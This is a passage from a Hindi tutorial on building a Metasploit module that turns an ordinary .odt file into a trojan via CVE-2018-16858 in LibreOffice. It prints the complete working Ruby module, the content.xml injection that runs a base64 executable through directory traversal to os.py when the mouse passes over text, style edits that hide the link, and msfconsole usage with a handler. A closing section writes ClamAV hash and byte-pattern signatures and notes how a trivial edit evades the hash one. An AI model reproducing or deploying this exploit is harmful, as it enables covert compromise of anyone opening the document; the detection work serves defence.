इसी तरह, Zip क्लास की File.open विधि पर कॉल किया जाता है और लौटाए गए चर का उपयोग आउटपुट संपीड़ित फ़ाइल में विभिन्न फ़ाइलों को डालने के लिए किया जाता है। विधि का पहला पैरामीटर फ़ाइल का नाम है जो उस नाम से प्राप्त होता है जो उपयोगकर्ता ने msfconsole के इंटरफ़ेस के माध्यम से तय किया है। उस नाम तक datastore['OUTPUT'] चर के माध्यम से पहुंचा जाता है। दूसरे पैरामीटर के रूप में, Zip::File::CREATE स्थिरांक का उपयोग करके एक नई ज़िप फ़ाइल बनाने की इच्छा निर्दिष्ट की जाएगी। जिस तरह पढ़ना खोला गया था, उसी तरह यहाँ प्रोग्राम की पंक्ति निम्नलिखित होगी:
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
जैसा कि कहा गया है, outzip चर का उपयोग ज़िप में नया डेटा डालने के लिए किया जाएगा। जिस तरह ज़िप से फ़ाइल पढ़ने के लिए get_input_stream विधि का उपयोग किया जा सकता था, उसी तरह उसमें लिखने के लिए get_output_stream का उपयोग किया जाएगा और फ़ाइल में सामग्री डालने के लिए write विधि का उपयोग किया जाएगा। get_output_stream विधि के लिए इनपुट डेटा फ़ाइल का नाम है। इसलिए entry.name के माध्यम से पढ़ी गई फ़ाइल के नाम तक पहुंचने और entry.get_input_stream.read के माध्यम से पढ़ी गई फ़ाइल की सामग्री तक पहुंचने में सक्षम होने पर, ज़िप फ़ाइल से फ़ाइल पढ़कर सीधे आउटपुट ज़िप फ़ाइल में डालने के लिए निम्नलिखित किया जा सकता है:
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
जैसा कि देखा जा सकता है, data में फ़ाइल की पूरी सामग्री होगी, इसलिए यदि इनपुट फ़ाइल का नाम styles.xml या content.xml है तो उस सामग्री को डालने से पहले बदला जाना चाहिए, शेष मामलों में कुछ भी बदलने की आवश्यकता नहीं है।
जैसा कि कमांड कंसोल के sed कमांड के साथ होता था, रूबी में gsub फ़ंक्शन उपलब्ध है जो बिल्कुल उसी तरह काम करता है जैसे वह कमांड। स्टाइल फ़ाइल के मामले में, sub फ़ंक्शन को निम्नलिखित तरीके से निष्पादित किया जा सकता है:
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
जैसा कि देखा जा सकता है, इस फ़ंक्शन में कुछ भी विशेष रूप से उल्लेखनीय नहीं है। बिल्कुल वही किया जा रहा है जो bash में एक्सप्लॉइट के मामले में किया गया था। एक बार यह परिवर्तन हो जाने के बाद, data चर को zip की आउटपुट फ़ाइल में डाला जा सकता है।
content.xml के मामले में उपयोगकर्ता द्वारा चुने गए पेलोड को सम्मिलित करने की आवश्यकता है, इसलिए, इसे base64 प्रारूप में एक चर में लोड किया जाना चाहिए ताकि फिर इसे फ़ाइल के अंदर आवश्यक स्थान पर डाला जा सके। निष्पादित किए जाने वाले पेलोड की सामग्री तक payload चर के माध्यम से पहुंचा जा सकता है और चूंकि हमें निष्पादन योग्य प्रारूप में पेलोड की आवश्यकता है, हम encoded_exe() विधि को कॉल करेंगे जो एक स्वतंत्र कमांड के रूप में निष्पादन के लिए आवश्यक भाग के बिना निर्देशों तक पहुंचने के बजाय निष्पादन योग्य प्रारूप में पेलोड तक पहुंचने की अनुमति देता है। चूंकि हमें base64 प्रारूप की आवश्यकता है, हम REX क्लास के माध्यम से बाइनरी को base64 में एन्कोड करेंगे, Text.encode_base64 विधि को कॉल करते हुए जो एन्कोड किए जाने वाले डेटा को इनपुट के रूप में अपेक्षित करता है। प्रोग्राम में डाली जाने वाली निर्देश निम्नलिखित होंगी:
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
इसके साथ b64_payload में base64 में निष्पादन योग्य पेलोड उपलब्ध है। अंत में, sed कमांड में किए गए अनुरूप परिवर्तनों का उपयोग किया जाएगा, जिसमें PAYLOAD शब्द डाला जाएगा जहां पिछले अनुभाग में हमने base64 कोड लागू किया था। सभी परिवर्तनों के बाद प्राप्त किए गए परिणाम में, अंत में एक नया gsub जोड़ा जाएगा जो अंतिम परिवर्तन के बराबर होगा जिसमें शाब्दिक PAYLOAD को b64_payload चर की सामग्री से बदल दिया जाएगा। कोड निम्नलिखित रूप में होगा:
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
इसके साथ मॉड्यूल के लिए वांछित सभी कार्यक्षमता हल हो जाएगी, मॉड्यूल का पूरा कोड निम्नलिखित होगा:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
def exploit
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
print "Ok we have the input and output file. Lets rock!!!\n\n"
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
if entry.name == "content.xml"
print "Changing content to insert command execution!!!\n"
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
data = entry.get_input_stream.read
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
outzip.get_output_stream(entry.name) { |f| f.write data}
elsif entry.name == "styles.xml"
print "Changing style to make the user not to view the hyperlink.\n\n"
data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
outzip.get_output_stream(entry.name) { |f| f.write data}
else
if !entry.name_is_directory?
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
end
end
end
end
end
else
print_error 'INPUT and OUTPUT must be both .odt file extension'
end
end
end
एक बार प्रोग्राम जनरेट हो जाने पर इसे libreoffice.rb नामक फ़ाइल में सहेजा जाएगा और /modules/exploits/linux/misc पथ पर कॉपी किया जाएगा। अगली बार जब msfconsole चलाया जाएगा, तो यह नया मॉड्यूल लोड हो जाएगा। इसे अन्य मॉड्यूल की तरह निम्न प्रकार से उपयोग किया जा सकता है:
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >
यहाँ विकल्पों को देखा जा सकता है:
msf5 exploit(linux/misc/libreoffice) > show options
Module options (exploit/linux/misc/libreoffice):
Name Current Setting Required Description
---- --------------- -------- -----------
INPUT yes चयनित पेलोड को इंजेक्ट करने के लिए मौजूदा .odt का पथ और फ़ाइल नाम।
OUTPUT yes एक नई संक्रमित .odt फ़ाइल बनाने का पथ और फ़ाइल नाम।
Exploit target:
Id Name
-- ----
0 linux
और एक इनपुट फ़ाइल को INPUT के लिए एक मान, OUTPUT के लिए एक मान निर्दिष्ट करके और set payload कमांड के माध्यम से एक संगत पेलोड सेट करके चुना जा सकता है।
आउटपुट odt फ़ाइल जनरेट करने के बाद, .odt फ़ाइल जनरेट करते समय चुने गए पेलोड के साथ संगत use exploit/multi/handler जेनेरिक हैंडलर का उपयोग किया जाएगा।
अंतिम चरण के रूप में, एंटीवायरस हस्ताक्षरों की एक श्रृंखला तैयार की जाएगी जो जनरेट किए गए बैकडोर का पता लगाने में सक्षम होंगी, ताकि इस खतरे से बचा जा सके। चूंकि अधिकांश एंटीवायरस बंद स्रोत वाले होते हैं, इसलिए ClamAV एंटीवायरस सॉफ़्टवेयर का उपयोग किया जाएगा, जो ओपन सोर्स है और सभी प्लेटफार्मों पर चलाया जा सकता है।
पहला हस्ताक्षर एक स्थिर प्रकार का हस्ताक्षर होगा। ये सबसे सरल प्रकार के हस्ताक्षर होते हैं, लेकिन इन्हें बायपास या दरकिनार करना भी सबसे आसान होता है। इस प्रकार के हस्ताक्षर मुख्य रूप से एक स्थिर हैश और एक फ़ाइल आकार से बने होते हैं। ClamAV एंटीवायरस द्वारा आवश्यक प्रारूप यह है कि .hdb एक्सटेंशन वाली फ़ाइल में, पंक्तियाँ हैश (md5 या sha1) से शुरू होनी चाहिए, उसके बाद बाइट्स में आकार और वांछित वायरस का नाम होना चाहिए। प्रत्येक पंक्ति में केवल एक वायरस परिभाषा होगी और प्रत्येक फ़ील्ड : प्रतीक द्वारा अलग किया जाएगा।
यदि हमारे पास exploit.odt फ़ाइल है जिसके लिए हस्ताक्षर बनाना है, तो md5 या sha1 हैश की गणना करने का विकल्प चुना जा सकता है, जो लिनक्स के md5sum और sha1sum कमांड द्वारा आसानी से किया जा सकता है। कमांड को बस कमांड के नाम के साथ चलाया जाएगा, उसके बाद फ़ाइल का नाम, इस प्रकार:
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac exploit.odt
user@host:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7 exploit.odt
फ़ाइल के आकार की गणना करने का सबसे आसान तरीका ls कमांड का उपयोग करना है, जिसमें फ़ाइल का पथ इस प्रकार दिया जाए:
user@host:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt
इस प्रकार, .hdb एक्सटेंशन वाली फ़ाइल में md5 या sha1 हैश और प्राप्त आकार के साथ एक फ़ाइल बनाई जा सकती है, जो इस प्रकार दिखाई देगी:
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B
ClamAV चलाते समय, यह निर्दिष्ट करना होगा कि जनरेट किए जा रहे हस्ताक्षर फ़ाइल का उपयोग किया जा रहा है। इसलिए, LibreOfficeSign.hdb नामक डेटाबेस का उपयोग करके वायरस को सत्यापित करने के लिए इसे निम्न प्रकार से चलाया जाएगा:
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)
इस प्रकार के हस्ताक्षर इस बात के प्रति बहुत संवेदनशील होते हैं कि मैलवेयर में किसी भी बदलाव पर एंटीवायरस उसे पहचान नहीं पाएगा। हस्ताक्षर के लिए उपयोग किया गया हैश, चाहे md5 हो या sha1, फ़ाइल के किसी भी बिट में बदलाव पर उसे वायरस के रूप में पता नहीं लगाएगा। यदि जनरेट किए गए .odt का केवल unzip किया जाए और दस्तावेज़ के टेक्स्ट के किसी भी अक्षर को बदल दिया जाए, उदाहरण के लिए a को A से, तो यह एंटीवायरस को बायपास करने के लिए पर्याप्त होगा।
अब हम ClamAV की गतिशील हस्ताक्षर प्रणाली का लाभ उठाकर कुछ अधिक बुद्धिमान हस्ताक्षर बनाएंगे। इस प्रकार के हस्ताक्षरों को .hdb के बजाय .ndb एक्सटेंशन वाली फ़ाइल में संग्रहित किया जाना चाहिए। फ़ाइल के भीतर हस्ताक्षरों का प्रारूप, हालांकि पहले बताए गए समान है, पूरी फ़ाइल के हैश का उपयोग करने के बजाय फ़ाइल के भीतर के पहचानकर्ताओं का उपयोग करेगा। फ़ाइल में कुछ स्ट्रिंग्स की तुलना की जाएगी, ताकि यदि वे मौजूद हैं, तो इसे मैलवेयर के रूप में पहचाना जाएगा।
प्रारूप खतरे के नाम से शुरू होगा, उसके बाद फ़ाइल का प्रकार जिसमें मैलवेयर होना चाहिए। संख्या 0 इससे मेल खाती है कि मैलवेयर किसी भी प्रकार की फ़ाइल में हो सकता है। 1 का उपयोग यह परिभाषित करने के लिए किया जाता है कि मैलवेयर केवल 32 या 64 बिट के निष्पादन योग्य exe को प्रभावित करता है, 6 का उपयोग यह परिभाषित करने के लिए किया जाता है कि यह केवल unix के ELF प्रकार की निष्पादन योग्य फ़ाइलों में रहता है, और 7 का उपयोग यह परिभाषित करने के लिए किया जाता है कि वे ASCII प्रकार की फ़ाइलें हैं। अगला फ़ील्ड उस बाइट संख्या को निर्दिष्ट करता है जिससे फ़ाइल के भीतर पहचानी जाने वाली स्ट्रिंग के बाइट्स की तुलना शुरू करनी है। वाइल्डकार्ड * का उपयोग यह परिभाषित करने के लिए किया जा सकता है कि स्ट्रिंग फ़ाइल में कहीं भी शुरू हो सकती है। उसके बाद, वे बाइट्स निर्दिष्ट किए जाते हैं जो मैलवेयर की पहचान करने की अनुमति देते हैं। खोज की परिभाषा एक के बाद एक हेक्साडेसिमल कोड से बनी होगी।
किसी विशेष फ़ाइल के हेक्साडेसिमल कोड प्राप्त करने का एक तरीका sigtool टूल का उपयोग करना है, ताकि मानक इनपुट के माध्यम से बाइट्स में इनपुट दिया जाए और यह सीधे हेक्साडेसिमल प्रतिनिधित्व लौटाएगा जिसका उपयोग हस्ताक्षर में किया जा सके। एक समान उपकरण hexdump हो सकता है, लेकिन इसका आउटपुट कुछ संशोधन की आवश्यकता होगी। सरलता के कारण, हम sigtool टूल के माध्यम से हस्ताक्षर बनाएंगे।
दूसरे हस्ताक्षर में हम फ़ाइल के उस हिस्से की खोज करेंगे जो बहुत सरल होगा: os.py फ़ाइल के निष्पादन भाग तक पहुँचने के लिए उपयोग किए गए निर्देशिका ट्रैवर्सल का पथ। भले ही ऑफिस फ़ाइल में कुछ भी बदल दिया जाए, बैकडोर कोड चलाने के लिए कम से कम इस पथ की आवश्यकता होती है। पहले, हम निम्नलिखित कमांड के माध्यम से हेक्साडेसिमल अक्षर प्राप्त करेंगे:
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
echo कमांड में -n पैरामीटर शामिल करना महत्वपूर्ण है ताकि अंत में एक नई पंक्ति न छपे। और sigtool कमांड का परिणाम वह खोज होगी जिसे हस्ताक्षर के रूप में लागू किया जाएगा ताकि एंटीवायरस ट्रोजनाइज्ड .odt का पता लगा सके।
खोज की शुरुआत के लिए कोई विशिष्ट ऑफसेट परिभाषित नहीं किया जा सकता क्योंकि यह प्रत्येक .odt दस्तावेज़ की संरचना पर निर्भर करेगा, इसलिए ऑफसेट फ़ील्ड में * डाला जाएगा। फ़ाइल प्रकार के रूप में 1 परिभाषित किया जाएगा ताकि एंटीवायरस द्वारा खोज किसी भी प्रकार की फ़ाइल में की जाए। एक नाम परिभाषित किया जाएगा और अंतिम हस्ताक्षर निम्न प्रकार का हो सकता है:
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
हस्ताक्षर को LibreOfficeSign.ndb फ़ाइल में संग्रहीत किया जाएगा, फ़ाइल नाम के लिए महत्वपूर्ण एक्सटेंशन है। फिर से, यह देखने के लिए clamav चलाया जा सकता है कि जनरेट किया गया हस्ताक्षर ट्रोजन का पता लगाने में सक्षम है या नहीं। परिणाम निम्न प्रकार का होगा:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)